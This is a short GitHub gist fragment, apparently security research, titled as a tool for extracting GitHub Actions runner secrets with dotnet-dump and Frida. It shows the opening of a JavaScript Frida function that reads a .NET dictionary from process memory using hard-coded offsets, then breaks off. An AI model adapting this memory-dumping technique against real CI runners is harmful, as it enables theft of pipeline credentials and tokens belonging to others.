hugo-syn

Twitter: @hugow_vincent

hugo-syn / dump.js

Last active October 4, 2026 10:12

GitHub action runner secrets extraction using dotnet-dump and frida

	function dumpDictionary(dictionaryAddress) {
	var bucketOffset = 0x08;
	var entriesOffset = 0x10;
	var countOffset = 0x38;
	var firstDictionaryEntryOffset = 0x10;
	var dictionarySize = 0x18;

	var dictionary = Memory.readPointer(dictionaryAddress);

	//var bucketsAddress = Memory.readPointer(dictionaryAddress.add(bucketOffset));